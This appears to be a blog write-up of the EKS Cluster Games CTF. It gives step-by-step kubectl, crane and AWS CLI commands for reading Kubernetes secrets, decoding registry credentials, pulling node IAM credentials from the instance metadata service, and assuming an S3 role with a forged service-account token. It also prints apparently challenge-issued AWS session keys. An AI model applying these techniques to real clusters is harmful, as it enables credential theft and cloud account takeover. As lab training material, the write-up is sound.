EKS Cluster Games All Solution

Lychnobyte | Sep 16, 2025 min read

Cover Illustration source https://www.pixiv.net/en/artworks/128345987

Helloo every-nyan ≽^•⩊•^≼

Yet another post talk about cloud security challenges! This time specifically about kubernetes cluster that deployed using AWS EKS!

The challenge still up and running at https://eksclustergames.com/

This platform also using wargames style with 5 level challenges!

So, without further ado let’s start to solve those challenges!

1. Secret Seeker

First challenge description

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

and kubernetes permission

{
    "secrets": [
        "get",
        "list"
    ]
}

Well, pretty straightforward we just need to list and get secrets inside the kubernetes cluster.

Just run these command in web shell

kubectl get secrets
kubectl get secrets log-rotate -oyaml

Secrets List

There is one secrets log-rotate and when we read it contain flag variable with base64 encoded string.

To decode the flag you can just run this one-line command

kubectl get secrets log-rotate -ojsonpath='{.data.flag}' | base64 -d

Flag decoded

2. Registry Hunt

Second challenges

A thing we learned during our research: always check the container registries.

For your convenience, the crane utility is already pre-installed on the machine.

with kubernetes permission

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

Now we can only get secrets but we can list and get pods. So, i assume we need to know the exact secrets name from pod spec. Because secrets can attached to a pod.

Run command below to find that secrets name

kubectl get pod
kubectl get pod database-pod-2c9b3a4e -oyaml

Pod Details

As we can see there is secrets that used as authentication for pulling image in imagePullSecrets section named registry-pull-secrets-780bab1d

Lets’s check that secrets

kubectl get secret registry-pull-secrets-780bab1d -oyaml

Registry Secrets

Yap, it is a secrets that stored credential for authentication to image registry.

To retrieve credential in plaintext use command below

kubectl get secret registry-pull-secrets-780bab1d -ojsonpath='{.data.\.dockerconfigjson}' | base64 -d && echo
kubectl get secret registry-pull-secrets-780bab1d -ojsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq '.auths["index.docker.io/v1/"].auth' | tr -d '"' | base64 -d && echo

Docker Config Decoded

The credential pattern is <user>:<password>

Login with that credential using crane then pull the image that used in running pod

crane auth login docker.io -u eksclustergames -p dckr_pat_REDACTED
crane pull eksclustergames/base_ext_image ./chall2.tar

Crane Pull

Then extract the image .tar file to obtain flag.txt

Flag extraction

3. Image Inquisition

Third challenge

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

and kubernetes permission

{
    "pods": [
        "list",
        "get"
    ]
}

Alright, i think we need to work with container image again. Let’s retrieve the image that running pod using.

Image Info

Well, pretty long image name and there is no imagePullSecrets value been set like previous challenge.

So, how to authenticate to ecr registry? Well, as mentioned description we are inside compromised EKS pod. We can get some credentials using IMDS just like how usually we did inEC2

Get AWS credentials using command below

curl http://169.254.169.254/latest/meta-data/placement/region
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

AWS Credentials

Set the credentials using export

export AWS_DEFAULT_REGION=<region>
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>

Then login to ECR registry using password that can be retrieve using aws cli .

Well, you can easily do that with this one-line

aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com

ECR Login

Then get the image digest layer to get flag using command below

crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq .

Crane Config

4. Pod Break

Forth challenge

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

without any kubernetes permission :(

But we can still retrieve AWS credentials using IMDS then set using export just like in previous challenge

# Get credential using IMDS
curl http://169.254.169.254/latest/meta-data/placement/region
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

# Set credential using export
export AWS_DEFAULT_REGION=us-west-1
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMS7TN4SNY
export AWS_SECRET_ACCESS_KEY=4Kcs7G5L/JmbJdCr/e1+ee3qV0REcXWtUJBiLEVr
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEI7//////////wEaDOoKIiUxvoQ0UIHjqyK3AXpAMgQHXeU5+PYF2kWqz88dQeCt0kZyzSh/USYSS8mDlWf04eQvumTbwR5gsyYZ6dZ0qQEyGqBoSMdto7udPz7h6raQ3nQ0Mnkn1O3CkyzD1xrLSNqV6MHQ9ljLSwW5jDYlHAKlWvnG5tAu1wLxTDMpeFMD5fXePA3nu97hxQ4Bap/ljIag7JmGjpsXXwjWlRjotVc8zfZC+VIcnPDFdv2qDyuxS+5Ozw2wvN+MaO6f8MVrkq5TASiQh6PEBjIt9xsnEa8adysXLHJUJxePXNjaisKb9+za5CeTXndhlanXjim+X19LJA6KDbLl

AWS Node Credentials

We can using our aws credential to generate token for accessing kubernetes cluster. But, before that we need to know cluster-name to do that.

Well, cluster-name usually stored in kubectl config in ~/.kube/config file.

Kube Config

Cluster name is localcfg , ok now we can generate our token using command below

aws eks get-token --cluster-name localcfg

EKS Token

Then using that token as our authentication for kubectl to access the kubernetes cluster

kubectl --token $TOKEN auth can-i --list

Kubectl Auth Check

Well, well, well. The token doesn’t seems work :/

Ok, maybe the cluster name we use is wrong.

Let’s check our current aws credential, maybe there is a hint

aws sts get-caller-identity

Caller Identity

Based on the IAM role name above we can guess the cluster name probably eks-challenge-cluster.

aws eks get-token --cluster-name eks-challenge-cluster
kubectl --token $TOKEN auth can-i --list

Alright, now token is working. Yeay

Kubectl Access Success

Well, we got permission list and get on resource pods, secrets and serviceaccount.

Let’s check secrets because usually flag are stored there.

kubectl --token $TOKEN get secret
kubectl --token $TOKEN get secret node-flag -oyaml
kubectl --token $TOKEN get secret node-flag -ojsonpath='{.data.flag}' | base64 -d

Flag obtained

Yap, the flag is there

5. Container Secrets Infrastructure

The last challenge

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

And we got the IAM Policy

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

Trust policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

Kubernetes permission

{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

Well, this last challenges give us a bunch of permissions!

Let’s start from listing kubernetes resources.

Resource List

There is no pod and secret, only serviceaccount then what’s the point of giving us those permissions? lol

Anyway, let’s see what kind of serviceaccount we have

Service Accounts

There is 3 serviceaccount

  1. default → default serviceaccount in namespace, nothing to do with this

  2. debug-sa → dummy serviceaccount, attached with some aws role

  3. s3access-sa → seems serviceaccount that mentioned in challenges description. It has challengeEksS3Role too.

Let’s try generate token from s3access-sa serviceaccount

Token forbidden

Oops, it’s forbidden. Seems like we don’t have permissions to do that. Instead, we can generate token from debug-sa serviceaccount only.

Debug Token

Well, actually we can use that debug-sa since we has trust policy to assume role we just use same method like in previous big iam challenge.

So, just need to generate token from debug-sa but since there is condition check to assume role we need to add option --audience “sts.amazonaws.com” when generate the token.

kubectl create token debug-sa --audience "sts.amazonaws.com"
aws sts assume-role-with-web-identity --role-session-name challenge5 --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --web-identity-token $TOKEN

Assume Role

We set AWS credentials we’ve got, then access the flag

export AWS_DEFAULT_REGION=<region>
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>

aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -

S3 Flag

That’s it! We solve all challenges!

And as usual after solve all challenges we can got certificate like this

Certificate

Reference: